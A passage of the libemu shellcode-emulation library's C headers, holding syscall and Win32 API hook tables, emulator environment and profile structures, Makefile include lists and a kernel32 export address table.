"old_select" , NULL}, { "oldumount" , NULL}, { "olduname" , NULL}, { "open" , NULL}, { "pause" , NULL}, { "personality" , NULL}, { "pipe" , NULL}, { "poll" , NULL}, { "prctl" , NULL}, { "pread" , NULL}, { "ptrace" , NULL}, { "pwrite" , NULL}, { "query_module" , NULL}, { "quotactl" , NULL}, { "read" , NULL}, { "readlink" , NULL}, { "readv" , NULL}, { "reboot" , NULL}, { "recv" , env_linux_hook_socketcall}, { "recvfrom" , env_linux_hook_socketcall}, { "recvmsg" , env_linux_hook_socketcall}, { "rename" , NULL}, { "rmdir" , NULL}, { "rt_sigaction" , NULL}, { "rt_sigpending" , NULL}, { "rt_sigprocmask" , NULL}, { "rt_sigqueueinfo" , NULL}, { "rt_sigreturn" , NULL}, { "rt_sigsuspend" , NULL}, { "rt_sigtimedwait" , NULL}, { "sched_getparam" , NULL}, { "sched_get_priority_max" , NULL}, { "sched_get_priority_min" , NULL}, { "sched_getscheduler" , NULL}, { "sched_rr_get_interval" , NULL}, { "sched_setparam" , NULL}, { "sched_setscheduler" , NULL}, { "sched_yield" , NULL}, { "select" , NULL}, { "send" , env_linux_hook_socketcall}, { "sendfile" , NULL}, { "sendmsg" , env_linux_hook_socketcall}, { "sendto" , env_linux_hook_socketcall}, { "setdomainname" , NULL}, { "setfsgid" , NULL}, { "setfsuid" , NULL}, { "setgid" , NULL}, { "setgroups" , NULL}, { "sethostname" , NULL}, { "setitimer" , NULL}, { "setpgid" , NULL}, { "setpriority" , NULL}, { "setregid" , NULL}, { "setresgid" , NULL}, { "setresuid" , NULL}, { "setreuid" , NULL}, { "setrlimit" , NULL}, { "setsid" , NULL}, { "setsockopt" , NULL}, { "settimeofday" , NULL}, { "setuid" , NULL}, { "sgetmask" , NULL}, { "shutdown" , env_linux_hook_socketcall}, { "sigaction" , NULL}, { "sigaltstack" , NULL}, { "signal" , NULL}, { "sigpending" , NULL}, { "sigprocmask" , NULL}, { "sigreturn" , NULL}, { "sigsuspend" , NULL}, { "socket" , env_linux_hook_socketcall}, { "socketpair" , env_linux_hook_socketcall}, { "ssetmask" , NULL}, { "stat" , NULL}, { "statfs" , NULL}, { "stime" , NULL}, { "swapoff" , NULL}, { "swapon" , NULL}, { "symlink" , NULL}, { "sync" , NULL}, { "sysctl" , NULL}, { "sysfs" , NULL}, { "sysinfo" , NULL}, { "syslog" , NULL}, { "time" , NULL}, { "times" , NULL}, { "truncate" , NULL}, { "umask" , NULL}, { "umount" , NULL}, { "uname" , NULL}, { "unlink" , NULL}, { "uselib" , NULL}, { "ustat" , NULL}, { "utime" , NULL}, { "vfork" , NULL}, { "vhangup" , NULL}, { "vm86" , NULL}, { "vm86old" , NULL}, { "wait4" , NULL}, { "waitpid" , NULL}, { "write" , NULL}, { "writev" , NULL}, }; libemu-0.2.0+git20120122+564/include/emu/environment/linux/emu_env_linux.h0000644000175300017530000000466011706767213025013 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_ENV_LINUX_H #define HAVE_EMU_ENV_LINUX_H #include #include #include #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" #include "emu/emu_hashtable.h" struct emu_profile; struct emu_env; struct emu_env_linux { struct emu *emu; struct emu_hashtable *syscall_hooks_by_name; struct emu_env_linux_syscall *syscall_hookx; struct emu_env_hook *hooks; // struct emu_profile *profile; }; struct emu_env_linux *emu_env_linux_new(struct emu *e); void emu_env_linux_free(struct emu_env_linux *eel); struct emu_env_hook *emu_env_linux_syscall_check(struct emu_env *env); struct emu_env_linux_syscall_entry { const char *name; const char *(*fnhook)(struct emu_env_linux *env); }; typedef uint32_t (*userhook)(struct emu_env_linux *env, struct emu_env_linux_syscall *syscall, ...); struct emu_env_linux_syscall { const char *name; int32_t (*fnhook)(struct emu_env *env, struct emu_env_hook *hook); void *userdata; uint32_t (*userhook)(struct emu_env *env, struct emu_env_hook *hook, ...); }; int32_t emu_env_linux_syscall_hook(struct emu_env *env, const char *syscallname, uint32_t (*userhook)(struct emu_env *env, struct emu_env_hook *hook, ...), void *userdata); const char *env_linux_socketcall(struct emu_env_linux *env); #endif libemu-0.2.0+git20120122+564/include/emu/environment/linux/Makefile.am0000644000175300017530000000026611706767213024017 0ustar dt-npbdt-npb# $Id$ includedir = $(prefix)/include/emu/environment/linux include_HEADERS = emu_env_linux.h include_HEADERS += env_linux_syscalls.h include_HEADERS += env_linux_syscall_hooks.h libemu-0.2.0+git20120122+564/include/emu/environment/emu_profile.h0000644000175300017530000001226011706767213023300 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2008 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #include #include "emu/emu_list.h" #include "emu/emu_stack.h" #ifndef HAVE_EMU_PROFILE_H #define HAVE_EMU_PROFILE_H enum emu_profile_argument_render { render_none, render_ptr, render_int, render_short, render_struct, render_string, render_bytea, render_ip, render_port, render_array }; header_list_typedefs(emu_profile_argument_root,emu_profile_argument,emu_profile_argument_link); struct emu_profile_argument { enum emu_profile_argument_render render; char *argname; char *argtype; union { int32_t tint; int16_t tshort; char *tchar; struct { unsigned char *data; uint32_t size; } bytea; struct { emu_profile_argument_root *arguments; } tstruct; struct { struct emu_profile_argument *ptr; uint32_t addr; }tptr; } value; emu_profile_argument_link link; }; header_list_functions(emu_profile_arguments,emu_profile_argument_root, emu_profile_argument, link); header_list_typedefs(emu_profile_function_root,emu_profile_function,emu_profile_function_link); struct emu_profile_function { enum emu_profile_argument_render retval; char *fnname; emu_profile_argument_root *arguments; emu_profile_function_link link; struct emu_profile_argument *return_value; }; header_list_functions(emu_profile_functions,emu_profile_function_root, emu_profile_function, link); struct emu_profile { emu_profile_function_root *functions; struct emu_stack *argument_stack; struct emu_profile_argument *last_ref; }; struct emu_profile *emu_profile_new(void); void emu_profile_free(struct emu_profile *profile); struct emu_profile_function *emu_profile_function_new(void); void emu_profile_function_free(struct emu_profile_function *function); struct emu_profile_argument *emu_profile_argument_new(enum emu_profile_argument_render render, const char *type, const char *name); void emu_profile_argument_free(struct emu_profile_argument *argument); void emu_profile_debug(struct emu_profile *profile); int emu_profile_dump(struct emu_profile *profile, const char *path); int emu_profile_parse(struct emu_profile *profile, const char *path); void emu_profile_function_debug(struct emu_profile_function *function); void emu_profile_argument_debug(struct emu_profile_argument *argument, int indent); void emu_profile_argument_add_none(struct emu_profile *profile); void emu_profile_argument_add_int(struct emu_profile *profile, char *argtype, char *argname, int32_t value); void emu_profile_argument_add_short(struct emu_profile *profile, char *argtype, char *argname, int16_t value); void emu_profile_argument_add_string(struct emu_profile *profile, char *argtype, char *argname, char *value); void emu_profile_argument_add_ptr(struct emu_profile *profile, char *argtype, char *argname, uint32_t value); void emu_profile_argument_add_ip(struct emu_profile *profile, char *argtype, char *argname, uint32_t value); void emu_profile_argument_add_port(struct emu_profile *profile, char *argtype, char *argname, uint32_t value); void emu_profile_argument_add_bytea(struct emu_profile *profile, char *argtype, char *argname, unsigned char *data, uint32_t size); void emu_profile_argument_array_start(struct emu_profile* profile, const char* arraytype, const char* arrayname); void emu_profile_argument_array_end(struct emu_profile *profile); void emu_profile_function_add(struct emu_profile *profile, char *fnname); void emu_profile_argument_struct_start(struct emu_profile* profile, const char* structtype, const char* structname); void emu_profile_argument_struct_end(struct emu_profile *profile); void emu_profile_function_returnvalue_int_set(struct emu_profile *profile, const char *type, int value); void emu_profile_function_returnvalue_ptr_set(struct emu_profile *profile, const char *type, int value); void *emu_profile_function_argument_get(struct emu_profile_function *function, int argc); void emu_profile_argument_add_sockaddr_ptr(struct emu_profile *profile, const char *name, uint32_t ptr, struct sockaddr sa); #endif libemu-0.2.0+git20120122+564/include/emu/environment/emu_env.h0000644000175300017530000000520011706767213022424 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2008 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ struct emu_env_linux; struct emu_env_linux_syscall; struct emu_env_w32; struct emu_env_w32_dll_export; /* typedef void *(*new_env)(struct emu *e); typedef void (*free_env)(void *env); typedef int32_t (*env_hook)(void *env, const char *syscallname, int (*userhook)(void *env, void *syscall, ...), void *userdata); typedef int32_t (*env_pre_check)(void *env); typedef int32_t (*env_post_check)(void *env); struct env_helper { void *env; void *(*new_env)(struct emu *e); void (*free_env)(void *env); int32_t (*env_hook)(void *env, const char *syscallname, int (*userhook)(void *env, void *syscall, ...), void *userdata); int32_t (*env_pre_check)(void *env); int32_t (*env_post_check)(void *env); }; struct env_helper envs[] = { { NULL, (new_env)emu_env_w32_new, (free_env)emu_env_w32_free, (env_hook)NULL, (env_pre_check) NULL, (env_post_check) NULL }, { NULL, (new_env)emu_env_linux_new, (free_env)emu_env_linux_free, (env_hook)emu_env_linux_syscall_hook, (env_pre_check) NULL, (env_post_check) NULL } }; */ enum emu_env_type { emu_env_type_win32, emu_env_type_linux, }; struct emu_env_hook { enum emu_env_type type; union { struct emu_env_w32_dll_export *win; struct emu_env_linux_syscall *lin; } hook; }; struct emu_env { struct { struct emu_env_w32 *win; struct emu_env_linux *lin; } env; struct emu *emu; // struct env_helper *envs; struct emu_profile *profile; void *userdata; }; struct emu_env *emu_env_new(struct emu *e); void emu_env_free(struct emu_env *env); libemu-0.2.0+git20120122+564/include/emu/environment/win32/0000755000175300017530000000000011706767213021562 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/include/emu/environment/win32/env_w32_dll_export_urlmon_hooks.h0000644000175300017530000000231011706767213030245 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include int32_t env_w32_hook_URLDownloadToFileA(struct emu_env *env, struct emu_env_hook *hook); libemu-0.2.0+git20120122+564/include/emu/environment/win32/env_w32_dll_export_kernel32_hooks.h0000644000175300017530000001117411706767213030366 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include int32_t env_w32_hook_CloseHandle(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_CreateFileA(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_CreateFileMapping(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_CreateProcessA(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_CreateProcessInternalA(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_DeleteFileA(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_ExitProcess(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_ExitThread(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_GetFileSize(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_GetModuleHandleA(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_GetProcAddress(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_GetSystemDirectoryA(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_GetTempPathA(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_GetTickCount(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_GetVersion(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook__hwrite(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook__lclose(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook__lcreat(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_LoadLibrayA(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook__lwrite(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_malloc(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_memset(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_MapViewOfFile(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_SetFilePointer(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_SetUnhandledExceptionFilter(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_Sleep(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_UnmapViewOfFile(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_WaitForSingleObject(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_WinExec(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_WriteFile(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_VirtualProtect(struct emu_env *env, struct emu_env_hook *hook); int32_t env_w32_hook_VirtualProtectEx(struct emu_env *env, struct emu_env_hook *hook); #define HANDLE int32_t #define DWORD uint32_t #define WORD uint16_t #define LPTSTR char * #define LPBYTE char * typedef struct _PROCESS_INFORMATION { HANDLE hProcess; /* 00 */ HANDLE hThread; /* 01 */ DWORD dwProcessId; /* 02 */ DWORD dwThreadId; /* 03 */ }PROCESS_INFORMATION, *LPPROCESS_INFORMATION; typedef struct _STARTUPINFO { DWORD cb; /* 00 */ LPTSTR lpReserved; /* 01 */ LPTSTR lpDesktop; /* 02 */ LPTSTR lpTitle; /* 03 */ DWORD dwX; /* 04 */ DWORD dwY; /* 05 */ DWORD dwXSize; /* 06 */ DWORD dwYSize; /* 07 */ DWORD dwXCountChars; /* 08 */ DWORD dwYCountChars; /* 09 */ DWORD dwFillAttribute; /* 10 */ DWORD dwFlags; /* 11 */ WORD wShowWindow; /* 12 */ WORD cbReserved2; /* 13 */ LPBYTE lpReserved2; /* 14 */ HANDLE hStdInput; /* 15 */ HANDLE hStdOutput; /* 16 */ HANDLE hStdError; /* 17 */ } STARTUPINFO, *LPSTARTUPINFO; libemu-0.2.0+git20120122+564/include/emu/environment/win32/env_w32_dll_export_shdocvw_hooks.h0000644000175300017530000000227611706767213030421 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include int32_t env_w32_hook_IEWinMain(struct emu_env *env, struct emu_env_hook *hook); libemu-0.2.0+git20120122+564/include/emu/environment/win32/emu_env_w32_dll_export.h0000644000175300017530000000411011706767213026314 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #ifndef HAVE_EMU_ENV_W32_DLL_EXPORT_H #define HAVE_EMU_ENV_W32_DLL_EXPORT_H struct emu; struct emu_env_w32; struct emu_env; struct emu_env_hook; typedef uint32_t (*win32userhook)(struct emu_env_w32 *env, struct emu_env_w32_dll_export *ex, ...); struct emu_env_w32_dll_export { char *fnname; uint32_t virtualaddr; int32_t (*fnhook)(struct emu_env *env, struct emu_env_hook *hook); void *userdata; uint32_t (*userhook)(struct emu_env *env, struct emu_env_hook *hook, ...); uint32_t ordinal; }; struct emu_env_w32_dll_export *emu_env_w32_dll_export_new(void); void emu_env_w32_dll_export_copy(struct emu_env_w32_dll_export *to, struct emu_env_w32_dll_export *from); void emu_env_w32_dll_export_free(struct emu_env_w32_dll_export *exp); extern struct emu_env_w32_dll_export kernel32_exports[]; extern struct emu_env_w32_dll_export ws2_32_exports[]; extern struct emu_env_w32_dll_export wininet_exports[]; extern struct emu_env_w32_dll_export urlmon_exports[]; #endif libemu-0.2.0+git20120122+564/include/emu/environment/win32/emu_env_w32_dll.h0000644000175300017530000000376111706767213024726 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_ENV_W32_DLL_H #define HAVE_EMU_ENV_W32_DLL_H #include struct emu_env_hook; struct emu_env_w32_dll_export; struct emu_env_w32_dll { char *dllname; char *image; uint32_t imagesize; uint32_t baseaddr; struct emu_env_w32_dll_export *exportx; struct emu_env_hook *hooks; struct emu_hashtable *exports_by_fnptr; struct emu_hashtable *exports_by_fnname; }; struct emu_env_w32_dll *emu_env_w32_dll_new(void); void emu_env_w32_dll_free(struct emu_env_w32_dll *dll); void emu_env_w32_dll_exports_copy(struct emu_env_w32_dll *to, struct emu_env_w32_dll_export *from); struct emu_env_w32_known_dll_segment { uint32_t address; const char *segment; uint32_t segment_size; }; struct emu_env_w32_known_dll { const char *dllname; uint32_t baseaddress; uint32_t imagesize; struct emu_env_w32_dll_export *exports; struct emu_env_w32_known_dll_segment *memory_segments; }; #endif libemu-0.2.0+git20120122+564/include/emu/environment/win32/Makefile.am0000644000175300017530000000104011706767213023611 0ustar dt-npbdt-npb# $Id$ includedir = $(prefix)/include/emu/environment/win32 include_HEADERS = emu_env_w32.h include_HEADERS += emu_env_w32_dll.h include_HEADERS += env_w32_dll_export_hooks.h include_HEADERS += emu_env_w32_dll_export.h include_HEADERS += env_w32_dll_export_kernel32_hooks.h include_HEADERS += env_w32_dll_export_urlmon_hooks.h include_HEADERS += env_w32_dll_export_ws2_32_hooks.h include_HEADERS += env_w32_dll_export_msvcrt_hooks.h include_HEADERS += env_w32_dll_export_shell32_hooks.h include_HEADERS += env_w32_dll_export_shdocvw_hooks.h libemu-0.2.0+git20120122+564/include/emu/environment/win32/env_w32_dll_export_hooks.h0000644000175300017530000101553311706767213026665 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #include #include #include #include #include #include #include struct emu_env_w32_dll_export kernel32_exports[] = { {"ActivateActCtx", 0x0000A644, NULL, NULL}, {"AddAtomA", 0x000354ED, NULL, NULL}, {"AddAtomW", 0x000326C1, NULL, NULL}, {"AddConsoleAliasA", 0x00070CBF, NULL, NULL}, {"AddConsoleAliasW", 0x00070C81, NULL, NULL}, {"AddLocalAlternateComputerNameA", 0x00058F26, NULL, NULL}, {"AddLocalAlternateComputerNameW", 0x00058E0A, NULL, NULL}, {"AddRefActCtx", 0x0002BF01, NULL, NULL}, {"AddVectoredExceptionHandler", 0x00008F63, NULL, NULL}, {"AllocConsole", 0x00071311, NULL, NULL}, {"AllocateUserPhysicalPages", 0x0005E712, NULL, NULL}, {"AreFileApisANSI", 0x0003594F, NULL, NULL}, {"AssignProcessToJobObject", 0x0002E44A, NULL, NULL}, {"AttachConsole", 0x000714F9, NULL, NULL}, {"BackupRead", 0x00056DDF, NULL, NULL}, {"BackupSeek", 0x00055EEF, NULL, NULL}, {"BackupWrite", 0x000573FE, NULL, NULL}, {"BaseCheckAppcompatCache", 0x000167D7, NULL, NULL}, {"BaseCleanupAppcompatCache", 0x0006BE06, NULL, NULL}, {"BaseCleanupAppcompatCacheSupport", 0x0006BE8A, NULL, NULL}, {"BaseDumpAppcompatCache", 0x0006BCC1, NULL, NULL}, {"BaseFlushAppcompatCache", 0x0006BC3F, NULL, NULL}, {"BaseInitAppcompatCache", 0x000164CD, NULL, NULL}, {"BaseInitAppcompatCacheSupport", 0x0002B38D, NULL, NULL}, {"BaseProcessInitPostImport", 0x00017443, NULL, NULL}, {"BaseQueryModuleData", 0x0003835A, NULL, NULL}, {"BaseUpdateAppcompatCache", 0x00015120, NULL, NULL}, {"BasepCheckWinSaferRestrictions", 0x00019805, NULL, NULL}, {"Beep", 0x00037A77, NULL, NULL}, {"BeginUpdateResourceA", 0x0006FC7B, NULL, NULL}, {"BeginUpdateResourceW", 0x0006FAD8, NULL, NULL}, {"BindIoCompletionCallback", 0x0002C02C, NULL, NULL}, {"BuildCommDCBA", 0x0006AEED, NULL, NULL}, {"BuildCommDCBAndTimeoutsA", 0x0006AEBF, NULL, NULL}, {"BuildCommDCBAndTimeoutsW", 0x0006AF1F, NULL, NULL}, {"BuildCommDCBW", 0x0006AF79, NULL, NULL}, {"CallNamedPipeA", 0x0005FDCE, NULL, NULL}, {"CallNamedPipeW", 0x0005FB7F, NULL, NULL}, {"CancelDeviceWakeupRequest", 0x00060B97, NULL, NULL}, {"CancelIo", 0x000300DA, NULL, NULL}, {"CancelTimerQueueTimer", 0x00062DF0, NULL, NULL}, {"CancelWaitableTimer", 0x0002CC09, NULL, NULL}, {"ChangeTimerQueueTimer", 0x00012723, NULL, NULL}, {"CheckNameLegalDOS8Dot3A", 0x00060A51, NULL, NULL}, {"CheckNameLegalDOS8Dot3W", 0x00060811, NULL, NULL}, {"CheckRemoteDebuggerPresent", 0x00059B1E, NULL, NULL}, {"ClearCommBreak", 0x00066CF1, NULL, NULL}, {"ClearCommError", 0x0006557C, NULL, NULL}, {"CloseConsoleHandle", 0x0001DC7E, NULL, NULL}, {"CloseHandle", 0x00009B47, env_w32_hook_CloseHandle, NULL}, {"CloseProfileUserMapping", 0x0002C86D, NULL, NULL}, {"CmdBatNotification", 0x0002F609, NULL, NULL}, {"CommConfigDialogA", 0x00066871, NULL, NULL}, {"CommConfigDialogW", 0x0006677D, NULL, NULL}, {"CompareFileTime", 0x00010AD9, NULL, NULL}, {"CompareStringA", 0x0000D077, NULL, NULL}, {"CompareStringW", 0x0000A35E, NULL, NULL}, {"ConnectNamedPipe", 0x0003145B, NULL, NULL}, {"ConsoleMenuControl", 0x00071FBF, NULL, NULL}, {"ContinueDebugEvent", 0x0005A565, NULL, NULL}, {"ConvertDefaultLocale", 0x000383CF, NULL, NULL}, {"ConvertFiberToThread", 0x0002FED7, NULL, NULL}, {"ConvertThreadToFiber", 0x0002FF16, NULL, NULL}, {"CopyFileA", 0x000286EE, NULL, NULL}, {"CopyFileExA", 0x0005E3C4, NULL, NULL}, {"CopyFileExW", 0x00027B32, NULL, NULL}, {"CopyFileW", 0x0002F873, NULL, NULL}, {"CopyLZFile", 0x000593AE, NULL, NULL}, {"CreateActCtxA", 0x0006B7A5, NULL, NULL}, {"CreateActCtxW", 0x0001545C, NULL, NULL}, {"CreateConsoleScreenBuffer", 0x00073068, NULL, NULL}, {"CreateDirectoryA", 0x000217AC, NULL, NULL}, {"CreateDirectoryExA", 0x0005B23B, NULL, NULL}, {"CreateDirectoryExW", 0x0005A5F2, NULL, NULL}, {"CreateDirectoryW", 0x000323D2, NULL, NULL}, {"CreateEventA", 0x000308AD, NULL, NULL}, {"CreateEventW", 0x0000A6A9, NULL, NULL}, {"CreateFiber", 0x0002FFAF, NULL, NULL}, {"CreateFiberEx", 0x0002FFCF, NULL, NULL}, {"CreateFileA", 0x00001A24, env_w32_hook_CreateFileA, NULL}, {"CreateFileMappingA", 0x0000945C, env_w32_hook_CreateFileMapping, NULL}, {"CreateFileMappingW", 0x0000938E, NULL, NULL}, {"CreateFileW", 0x00010760, NULL, NULL}, {"CreateHardLinkA", 0x0006B629, NULL, NULL}, {"CreateHardLinkW", 0x0006B46C, NULL, NULL}, {"CreateIoCompletionPort", 0x00031385, NULL, NULL}, {"CreateJobObjectA", 0x0006B38C, NULL, NULL}, {"CreateJobObjectW", 0x0002CB03, NULL, NULL}, {"CreateJobSet", 0x0006B35E, NULL, NULL}, {"CreateMailslotA", 0x0002CC8B, NULL, NULL}, {"CreateMailslotW", 0x0002CCDC, NULL, NULL}, {"CreateMemoryResourceNotification", 0x0003965A, NULL, NULL}, {"CreateMutexA", 0x0000E93F, NULL, NULL}, {"CreateMutexW", 0x0000E8B7, NULL, NULL}, {"CreateNamedPipeA", 0x0005FC74, NULL, NULL}, {"CreateNamedPipeW", 0x0002F0D4, NULL, NULL}, {"CreateNlsSecurityDescriptor", 0x0002AC6C, NULL, NULL}, {"CreatePipe", 0x0001E0C7, NULL, NULL}, {"CreateProcessA", 0x00002367, env_w32_hook_CreateProcessA, NULL}, {"CreateProcessInternalA", 0x0001DDD6, env_w32_hook_CreateProcessInternalA, NULL}, {"CreateProcessInternalW", 0x00019513, NULL, NULL}, {"CreateProcessInternalWSecure", 0x0007F1FC, NULL, NULL}, {"CreateProcessW", 0x00002332, NULL, NULL}, {"CreateRemoteThread", 0x0001042C, NULL, NULL}, {"CreateSemaphoreA", 0x00012E1D, NULL, NULL}, {"CreateSemaphoreW", 0x00010086, NULL, NULL}, {"CreateSocketHandle", 0x0006B694, NULL, NULL}, {"CreateTapePartition", 0x0006B14E, NULL, NULL}, {"CreateThread", 0x00010637, NULL, NULL}, {"CreateTimerQueue", 0x0002BFD6, NULL, NULL}, {"CreateTimerQueueTimer", 0x0002117D, NULL, NULL}, {"CreateToolhelp32Snapshot", 0x00064B47, NULL, NULL}, {"CreateVirtualBuffer", 0x00034932, NULL, NULL}, {"CreateWaitableTimerA", 0x00061A81, NULL, NULL}, {"CreateWaitableTimerW", 0x0002FB52, NULL, NULL}, {"DeactivateActCtx", 0x0000A675, NULL, NULL}, {"DebugActiveProcess", 0x0005A123, NULL, NULL}, {"DebugActiveProcessStop", 0x0005A5A9, NULL, NULL}, {"DebugBreak", 0x00059B72, NULL, NULL}, 